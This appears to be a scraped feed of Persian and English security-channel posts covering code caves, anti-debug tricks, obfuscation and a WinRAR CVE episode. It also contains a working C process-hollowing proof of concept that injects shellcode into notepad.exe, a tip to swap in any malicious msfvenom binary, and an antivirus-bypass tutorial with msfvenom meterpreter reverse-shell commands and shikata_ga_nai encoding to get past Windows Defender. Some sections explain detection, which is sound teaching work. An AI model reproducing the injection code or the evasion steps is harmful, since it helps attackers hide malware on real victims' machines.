با ماژول hackrf تونسته ecu ماشین رو هک بکنه

بررسی CVE-2023-38831 – فقط یه فایل RAR باز کن… بوم! 🎯💣

سلام به همه عزیزان و عاشقان مهندسی معکوس! خوش اومدین به اپیزود ۵۴ از برنامه‌ی هفتگی GO-TO CVE! 🎙💻
این هفته رفتیم سراغ یه آسیب‌پذیری واقعی و پر سر و صدا اما قدیمی در یکی از محبوب‌ترین ابزارهای فشرده‌سازی دنیا WinRAR! 🎯

🔹 Week: 54
🔹 CVE: CVE-2023-38831
🔹 Type: RCE via Archive Trick
🔹 Target: WinRAR < v6.23

⚒️ Patch چی بوده؟
توی نسخه 6.23 و بالاتر، تیم WinRAR منطق اولویت‌دهی به فایل و فولدر با نام یکسان رو اصلاح کرده. حالا دیگه فولدر هم‌نام فایل نمی‌تونه باعث override رفتار کلیک بشه، و این یعنی پایان ترفند RCE با اسم‌گذاری هوشمندانه!
🎯 توی اپیزود ۵۴ از کانال GO-TO CVE با هم بررسی کردیم:

📬 عضویت در کانال + هر هفته یه باگ باحال برای تحلیل:
https://news.1rj.ru/str/GOTOCVE

#week_54

poc_CVE-2023-38831

Code Cave
چیه و چطوری بدافزار ها ازش سو استفاده می‌کنن؟

توی خیلی از فایل‌های اجرایی (مثل exe.) یه سری قسمت هست که عملا استفاده نمیشن یعنی برنامه بهشون کاری نداره پر از صفر و دستورای الکی مثل NOP هستن به این فضاهای بدون استفاده می‌گن Code Cave یعنی یه جور "غار خالی" وسط فایل!

حالا اینجا دقیقا همون جاییه که یه بدافزار میتونه قایم شه هکر یا کسی که فایل رو آلوده میکنه کد مخربشو میزاره تو همین فضای خالی بعد یه پرش (jmp) از کد اصلی به این غار(فضای خالی) میزنه تا موقع اجرا یهو برنامه بزنه به جای منحرف و بره سمت کد مخرب!

بعضی وقتا هم اون‌قدر حرفه‌ای این کارو انجام میدن که بعد از اجرای کد مخرب دوباره برنامه برمی‌گرده به روال عادی یعنی تو حتی نمی‌فهمی اتفاقی افتاده ولی پشت پرده داستان چیز دیگه‌ایه...

🔹 چرا این تکنیک محبوبه بین بدافزارنویس‌ها؟

چون فایل رو بزرگ‌تر نمیکنه

آنتی‌ویروس‌ها سخت‌تر متوجه میشن

از بیرون هم فایل خیلی نرمال به نظر میرسه


🔍 چطوری اینو موقع مهندسی معکوس تشخیص بدیم؟

جاهایی که یه‌ دفعه دیدی پر از nop یا صفره

پرش‌های عجیب‌غریب به آدرس‌های دور از منطق

Sectionهایی که بیش‌ازحد خالی هستن


🔧 ابزارایی که به کارمون میان تو این ماجرا:

x64dbg

IDA Pro

CFF Explorer

PE-bear

😈Process Hollowing
وقتی یه فایل بی‌گناه تبدیل به هیولا می‌شه...

فرض کن یه بدافزار نخواد مستقیم اجرا شه چون می‌دونه زود لو میره
چی کار می‌کنه؟
میاد یه تئاتر راه می‌ندازه...
یه برنامه‌ی کاملا سالم مثل Notepad رو اجرا می‌کنه اما به شکل معلق (suspended)
یعنی فقط ظاهرشه هنوز نرفته تو خط اجرا
بعد چی؟ با یه ضربه مغز این برنامه رو خالی می‌کنه (یعنی حافظه‌ی کدشو پاک می‌کنه) و کد خودش رو می‌چپونه تو مغز اون!

حالا اگه به تسک‌ منیجر نگاه کنی همه چی خوبه
Notepad داره اجرا می‌شه
اما در واقع یه کد مخرب وحشی داره به‌جاش نفس می‌کشه!
این یعنی Process Hollowing

💀 چرا خطرناکه؟

چون آنتی‌ویروس نمیفهمه کدی که داره اجرا می‌شه با ظاهر برنامه فرق داره

امضا (signature) مال یه برنامه‌ی سالمه ولی کارایی که میکنه مال یه قاتله

لاگ‌ها و رفتار سیستم هم فریب می‌خورن


👁️‍🗨️ دنبال ردش بگردی؟ باید خیلی باهوش باشی. چون یه پردازش سالمه با یه روح تسخیرشده.
ابزارایی مثل x64dbg یا Process Hacker شاید کمک کنن ولی بدون دیدن کد تو حافظه‌ی زمان اجرا نمیفهمید چه خبره

🧪 Process Hollowing
هم تکنیکیه برای پنهون‌کاری هم یه کلاس بالاتر از تزریق کده
هکرایی که اینو میزنن دنبال یه اجرای مخفین...
در سکوت...
زیر پوسته‌ی یه برنامه‌ی معمولی...

چطور بفهمیم یه Process Hollowing اتفاق افتاده؟

وقتی یه فایل ظاهرا سالم داره یه کار مشکوک میکنه باید بپرسید:
"این برنامه واقعاً خودشه؟ یا فقط یه ماسک زده؟"

🔍 بررسی فنی:

PID مشکوک؟
یه برنامه‌ی بی‌زبان مثل notepad.exe نباید به اینترنت وصل شه یا فایل سیستمی دستکاری کنه
اگه کرد؟ برید ببینید دقیقا چی داره اجرا می‌شه...


مقایسه Image در دیسک با Memory:
با ابزارایی مثل Process Hacker یا PE-sieve میتونید بفهمید کدی که تو حافظه اجرا میشه با فایلی که رو دیسکه فرق داره یا نه
اگه فرق داشتن به احتمال زیاد یه تسخیر در جریانه 😈


3. بررسی بخش Entry Point:
با باز کردن فایل توی x64dbg بررسی کنید آیا نقطه شروع اجرا همونه که انتظار میره یا نه
اگه پرش داده شده به یه جای عجیب توی حافظه حواستون جمع باشه


رفتارهای عجیب:
برنامه‌ای که کارش نمایش نوت‌پده نباید به رجیستری دست بزنه فایل رمزگذاری کنه یا سرور خارجی صدا بزنه



🔧 ابزارای پیشنهادی برای شکار روح توی پروسس‌ها:

x64dbg

PE-sieve

Process Hacker

Sysinternals Process Explorer

Volatility (برای آنالیز رم)


🧪 یه نکته‌ی طلایی:
تو دنیای مهندسی معکوس همیشه به چیزی که میبینید اعتماد نکنید
خیلیا ظاهر سالم دارن ولی پشت اون ظاهر، یه کدیه که منتظر فرصته تا قفل بزنه بدزده یا فقط تماشا کنه

💡تکنیک‌های Anti-Debug دشمن شماره یک دیباگرها!

نرم‌افزارهایی که نمی‌خوان مهندسی معکوس بشن معمولا از تکنیک‌هایی استفاده میکنن که اگه دیباگر یا ابزار تحلیل روشون فعال باشه خودشونو ببندن یا کد اشتباه اجرا کنن اینا میشن تکنیک‌های ضد دیباگ یا Anti-Debug

✅ چند تکنیک معروف Anti-Debug که زیاد میبینید:


استفاده از APIهای سیستم‌عامل

نرم‌افزار با استفاده از APIهایی مثل IsDebuggerPresent، CheckRemoteDebuggerPresent یا NtQueryInformationProcess بررسی می‌کنه دیباگر وصله یا نه

if (IsDebuggerPresent()) {
ExitProcess(0);
}

بررسی فلگ‌های مخصوص در PEB

برنامه با دسترسی مستقیم به PEB (Process Environment Block) چک می‌کنه که آیا دیباگر فعاله یا نه

mov eax, fs:[30h] ; PEB
movzx eax, byte ptr [eax+2]
cmp eax, 0
jne detected_debugger

Trap Flag / INT 3 / Breakpoint Detection

بررسی می‌کنه که آیا دیباگر روی کد break point گذاشته یا خیر یا اینکه از TF برای اجرای step-by-step استفاده میشه




استفاده از استثناها (SEH)

برنامه خطا تولید می‌کنه (مثلا تقسیم بر صفر یا دسترسی به آدرس بد) و از طریق handler بررسی میکنه که آیا این خطا توسط دیباگر گرفته شده یا توسط خودش




تاخیر در اجرا و مقایسه زمان (Timing Checks)

برنامه با استفاده از توابعی مثل GetTickCount یا QueryPerformanceCounter زمان اجرای دستورات رو میسنجه اگه کاربر با دیباگر کندتر اجرا کرده باشه،میفهمه مشکوکه



Debugger Evasion via TLS Callback

کد مخرب یا چک Anti-Debug رو به جای main() داخل TLS Callback میذارن جایی که دیباگرها اغلب از دست میدنش




تکنیک‌های پیشرفته‌تر

داینامیک API resolving (یعنی خودش موقع اجرا APIها رو پیدا می‌کنه)

Multi-threaded Debug Checks

Hardware Breakpoint Detection

Self Debugging (برنامه خودش رو attach می‌کنه)




🔓 مقابله با Anti-Debug

استفاده از پلاگین‌هایی مثل ScyllaHide روی x64dbg

استفاده از ابزارهایی مثل TitanHide برای پنهان کردن دیباگر

پچ کردن کدهایی مثل IsDebuggerPresent یا بایت‌هایی که باعث کرش میشن

نادیده گرفتن استثناها یا بستن handlerها

👽چطور خودمون یه Process Hollowing بنویسیم (آموزشی برای ردتیمرها و مهندسین معکوس)

(فقط برای اهداف آموزشی مسئولیت هرگونه استفاده نادرست با خودتونه)



🧬 توی ویندوز برای اینکه یه پروسس رو Hollow کنیم معمولا مراحل زیر رو می‌ریم:

ساخت یه پروسس معلق (Suspended):

ما میایم یه پروسس بی‌گناه مثل notepad.exe رو اجرا میکنیم ولی نه عادی
با فلگ CREATE_SUSPENDED میگیم فقط اجرا شو اما هنوز ندو:

CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);

پاک‌سازی حافظه‌ی اون پروسس:

بعدش باید مغز نوت‌پدو خالی کنیم! 😈

NtUnmapViewOfSection(pi.hProcess, baseAddress);

اینجا حافظه‌ی اصلی برنامه‌ی سالم از حافظه‌ی اون پروسس پاک میشه




اختصاص فضای جدید برای کد خودمون:

یه فضای خالی تو همون پروسس باز می‌کنیم و بدافزار خودمونو اونجا می‌ریزیم:

VirtualAllocEx(pi.hProcess, baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, baseAddress, shellcode, size, NULL);





تنظیم رجیسترها روی Entry Point جدید:

یه تیر خلاص! یعنی CPU باید از کد ما شروع کنه:

context.Eax = baseAddress + entryPointOffset;
SetThreadContext(pi.hThread, &context);

اجرای پروسس:

حالا نخ اجرا رو از حالت توقف درمیاریم، و همه چی به ظاهر طبیعیه:

ResumeThread(pi.hThread);

و... 🎭 بدافزار ما تو لباس نوت پد داره با لبخند کار خودشو میکنه



🎯 چرا این آموزش مهمه برای مهندس معکوس؟

اگه دقیق نفهمی یه فایل چطور ساخته شده نمی‌تونی تشخیص بدی کجاش فیکه
مهندسی معکوس یعنی باز کردن مغز این‌جور فایل‌ها و فهمیدن اینکه پشت پرده چی میگذره

🩸اجرای واقعی Process Hollowing با C

کد زیر دقیقا همون کارو می‌کنه: اجرای یه شِل‌کد مخرب داخل پروسس بی‌گناهی مثل notepad.exe

کد (C / WinAPI):

> این فقط یه PoC آموزشی ساده‌ست، shellcode تستی (مثل MessageBox) استفاده شده

#include <windows.h>
#include <stdio.h>

int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// بدافزار به شکل شل‌کد (مثلاً یه MessageBox ساده)
unsigned char shellcode[] = {
/* shellcode اینجا */
};

// اجرای notepad به‌صورت معلق
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// گرفتن اطلاعات نخ برای تنظیم رجیستر
GetThreadContext(pi.hThread, &ctx);

// رزرو فضای حافظه برای کد ما
LPVOID alloc = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// نوشتن کد تو حافظه اون برنامه
WriteProcessMemory(pi.hProcess, alloc, shellcode, sizeof(shellcode), NULL);

// تنظیم EIP برای اجرای کد ما
ctx.Eip = (DWORD)alloc;
SetThreadContext(pi.hThread, &ctx);

// اجرای نخ
ResumeThread(pi.hThread);

return 0;
}

🧠 نکته‌ها:

تو سیستم 64 بیتی باید از Wow64GetThreadContext و Wow64SetThreadContext استفاده کنید

جای shellcode می‌تونید هر باینری مخربی که با ابزارهایی مثل msfvenom ساختی بریزید

دقت کنید: آنتی‌ویروس‌ها معمولا VirtualAllocEx + WriteProcessMemory + ResumeThread رو شکار میکنن پس بدونید Obfuscation رد نمیشه

🤓Code Obfuscation
وقتی برنامه نویس می‌خواد کدت رو نفهمی


Obfuscation
یعنی گیج کردن تحلیل‌گر با این تکنیک‌ها ساختار و منطق برنامه رو جوری تغییر میدن که برای CPU تفاوتی نداره ولی برای چشم و ابزار دیباگر وحشتناک پیچیده میشه




🤯 اهداف اصلی Obfuscation:

جلوگیری از مهندسی معکوس

سخت کردن تحلیل دستی و خودکار

قاتی کردن ذهن تحلیل‌گر 😅




🎭 تکنیک‌های معروف Obfuscation

Junk Code Insertion

کدهایی که هیچ کاری نمی‌کنن (NOP یا کدهای بی‌اثر) ولی ظاهر کد رو شلوغ میکنن برای ابزارهایی مثل دیس‌اسمبلر سردرگمی ایجاد میکنن.

mov eax, eax
xor ecx, ecx
add ecx, 0
jmp next

Control Flow Obfuscation

کد برنامه رو طوری تغییر میدن که فلو کاملا به هم بریزه مثلا به جای if ساده ده‌ها jmp و call جعلی میذارن.

cmp eax, 1
je good
jmp bad
...
good: ; انجام کار اصلی
bad: ; بن‌بست یا کد فیک

Opaque Predicates

شرط‌هایی که همیشه یه نتیجه مشخص دارن ولی تحلیلش سخته مثلا:

if ((x * x + 1) % 2 == 1) {
// این همیشه true هست!
}

Call/Ret Confusion

استفاده از call بدون ret یا ret به جاهای عجیب برای فریب دادن تحلیل‌گرها




Virtualization

همون چیزی که VMProtect انجام می‌ده: کل کد اصلی رو تبدیل به یه زبان عجیب و غریب می‌کنن و با یه ماشین مجازی اجراش می‌کنن.

کدی که قبلا ساده بود:

mov eax, 5
add eax, 3

تبدیل میشه به چیزی مثل:

db 0x3C, 0x29, 0x87, 0x99, ...

که فقط ماشین مجازی اون رو می‌فهمه




API Obfuscation

نام APIهایی مثل CreateFile، LoadLibrary یا VirtualAlloc در زمان اجرا ساخته میشن یا با توابع عجیب Resolve میشن پس ابزارها نمی‌تونن ساده شناسایی‌شون کنن




Encrypted Strings

رشته‌ها و پیام‌ها رمزنگاری می‌شن و فقط در زمان اجرا رمزگشایی می‌شن. برای تحلیل‌گر چیزی مثل اینه:

db 0xA1, 0xF2, 0x00, 0xC3 ; متن: “Error!” نیست؛ هنوز انکریپته.

💣 مقابله با Obfuscation

Dynamic Analysis:
اجرای برنامه در دیباگر و دیدن اجرای واقعی

Memory Dump:
از حافظه زمان اجرا کد و داده‌ها رو استخراج کن

Emulation:
شبیه‌سازی اجرای کدهای عجیب و درک رفتارشون

Deobfuscation Tools:
ابزارهایی مثل de4dot (برای دات‌نت) یا Ghidra noscripts






🤓 Code Obfuscation
When developers really don’t want you to understand the code

Obfuscation
is the art of confusing the analyst. These techniques transform the program’s logic and structure in a way that’s harmless to the CPU — but nightmarishly complex for human eyes and debugging tools.



🤯 Main Goals of Obfuscation:

Prevent reverse engineering

Make manual and automated analysis painful

Scramble the analyst’s brain 😅



🎭 Popular Obfuscation Techniques

🔹 Junk Code Insertion
Useless instructions (like NOPs or meaningless operations) that clutter the disassembly view and confuse static tools.

mov eax, eax
xor ecx, ecx
add ecx, 0
jmp next


🔹 Control Flow Obfuscation
Rewriting simple flows into a maze of fake jumps and calls to hide the real logic.

cmp eax, 1
je good
jmp bad

...
good: ; actual logic
bad: ; fake path or dead-end

🔹 Opaque Predicates
Conditions that always evaluate the same but are hard to analyze.

if ((x * x + 1) % 2 == 1) {
// This is ALWAYS true!
}

🔹 Call/Ret Confusion
Using call without a matching ret, or ret to strange locations, just to mess with analysts.

🔹 Virtualization
Just like what VMProtect does: converts your entire logic into a weird virtual language interpreted by a custom VM.

What was once clean:

mov eax, 5
add eax, 3

Becomes a blob like:

db 0x3C, 0x29, 0x87, 0x99, ...

Only the VM knows what it means.

🔹 API Obfuscation
Standard APIs like CreateFile, LoadLibrary, or VirtualAlloc are resolved dynamically or rebuilt at runtime, making detection harder for AV and tools.

🔹 Encrypted Strings
Strings are stored encrypted and only decrypted in memory at runtime. To an analyst, it looks like:

db 0xA1, 0xF2, 0x00, 0xC3

; not “Error!” yet — it’s still encrypted.




💣 Fighting Back: How to Defeat Obfuscation

Dynamic Analysis:
Run the code inside a debugger to see real behavior.

Memory Dumping:
Extract runtime code and data directly from memory.

Emulation:
Simulate exotic instructions and analyze how they behave.

Deobfuscation Tools:
Tools like de4dot (for .NET) or Ghidra noscripts help simplify the mess.

✨قسمت پنجاه و یکم Safe Cast✨

💢 موضوعات این قسمت:

00:14 مقدمه

02:52 هکرهای ایرانی و دسترسی مداوم به زیرساخت‌های حیاتی خاورمیانه

21:31 اعتراف هکر ایرانی (سینا قلی‌نژاد) به باج‌گیری سایبری

33:56 فرمان از راه دور در دل رویدادهای تقویمی

47:35 کد پنهان در فایل ناقص؛ تشخیص‌ناپذیر برای هفته‌ها


🔗 لینک مشاهده در CastBox :
https://lian.ac/kgG

🎙 با حضور: حسین الفت، وحید علمی و رضا الفت

@safe_defense
#safe_cast

🔪 بایپس آنتی‌ویروس‌ها: وقتی شکارچی، شکارچی رو دور میزنه. ⚡️

👺بایپس آنتی‌ویروس یعنی ورود از در پشتی دنیای صفر و یک...

آنتی‌ویروس‌ها، EDRها و حتی XDRهای نسل جدید مثل سگ‌های نگهبان پشت درِ سیستم وایسادن.ولی مشکل اینجاست: این سگ‌ها همه چیز رو نمی‌فهمن.

👁 اون‌چیزی که یه ابزار امنیتی می‌بینه همیشه تمام واقعیت نیست ما یاد می‌گیریم چطور طوری حرکت کنیم که اصلا دیده نشیم نه با خشونت با ظرافت، با مهندسی.

💻 اینجا قرار نیست فقط یه "فایل مخرب" بسازیم که آنتی‌ویروس رد نکنه اینجا نشونتون میدم:

چطور امضای تو توی باینری دیده نشه

چطور shellcode رو بدون صدا وارد حافظه کنیم

چطور توی دل process ویندوز جا خوش کنیم و حتی خود defender رو فریب بدیم

و در نهایت چطور همه لایه‌های دفاعی مثل AMSI، ETW، حتی SIEM رو دور بزنیم...


⚠️ ولی قبل از هرچیز باید بدونید با چی طرفید:

AV فقط دنبال فایل مشکوکه

EDR دنبال رفتار پروسس‌ هاست

XDR دنبال ارتباط بین سیستم‌ها و لاگ‌ هاست


🔪 Bypassing Antivirus: When the Hunter Outsmarts the Watchdogs ⚡️👺

Bypassing AV is like sneaking in through the backdoor of the digital world...

Antiviruses, EDRs, and even next-gen XDRs are standing guard like watchdogs at the gates of your system.
But here’s the catch: those dogs don’t see everything.

👁 What a security tool sees is never the full picture.
We’re here to learn how to move without being seen — not with brute force, but with elegance and engineering.

💻 This isn’t just about building a “malicious file” that AVs won’t flag.
Here’s what I’m going to show you:

How to make sure your signature doesn’t show up in the binary

How to inject shellcode into memory without making a sound

How to nest inside a Windows process and even trick Defender itself

And ultimately, how to bypass all layers of defense: AMSI, ETW, even SIEM…


⚠️ But before anything else, you need to know what you’re dealing with:

AV is looking for suspicious files

EDR is watching process behavior

XDR is tracking system-to-system communications and logs

🔬 تست ساده: Defender واقعا حواسش هست؟

بیاید یه تست کوچولو بگیریم از Windows Defender
ببینیم با یه payload کلاسیک چطور برخورد میکنه و چطور با یه ذره زرنگی میشه از روش رد شد!

🧪 ساختن یک فایل مشکوک

با متاسپلویت یا msfvenom یه shellcode تولید میکنیم

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o evil.exe

📎 فایل evil.exe به‌طور مستقیم توی بیشتر سیستم‌ها شناسایی و حذف میشه چون امضاش معروفه

💥 نتیجه؟

🔴 Defender
سریع پاکش میکنه چون Signature detection جواب میده هنوز



🎭 Obfuscation ساده

حالا همین payload رو با encoder درون msfvenom رمزگذاری میکنیم

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o bypassed.exe

📎 اینجا از encoder معروف shikata_ga_nai استفاده کردیم میتونیم تعداد دورهای رمزگذاری رو هم زیاد کنی (-i 5 یعنی ۵ بار)

✅ نتیجه؟

🟡 گاهی اوقات عبور میکنه گاهی نه بستگی به heuristic engine داره




🧩 ولی چرا این مهمه؟

چون:

امضا(Signature) ها با یه تغییر کوچیک بهم میریزن

ولی اگه سیستم رفتار shellcode رو تحلیل کنه (مثل EDR ها) هنوز میتونه بگیرت


📌 اینجا جرقه زده میشه که:
فقط obfuscation کافی نیست باید از حافظه استفاده کنیم باید به جای "نوشتن" "تزریق" کنیم...



🔬 Quick Test: Is Windows Defender Really Paying Attention?

Let’s run a simple experiment and see how Windows Defender reacts to a classic payload — and how just a bit of trickery can get around it.

🧪 Creating a Suspicious File
Using Metasploit or msfvenom, we generate a basic shellcode payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o evil.exe

📎 The evil.exe file will be flagged and deleted on most systems — it’s a well-known signature.

💥 Result?
🔴 Defender immediately removes it using signature-based detection — because it still works.

🎭 Basic Obfuscation
Now let’s encrypt the same payload using a built-in encoder:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o bypassed.exe

📎 We used the popular shikata_ga_nai encoder here. The -i 5 flag tells it to encode the payload 5 times.

✅ Result?
🟡 Sometimes it bypasses detection — sometimes not. It depends on Defender’s heuristic engine.

🧩 But why does this matter?
Because:

Signatures break with even small changes

But behavior-based systems (like modern EDRs) can still catch it


📌 The takeaway:
Obfuscation alone isn’t enough.
We need to operate from memory — not write, but inject.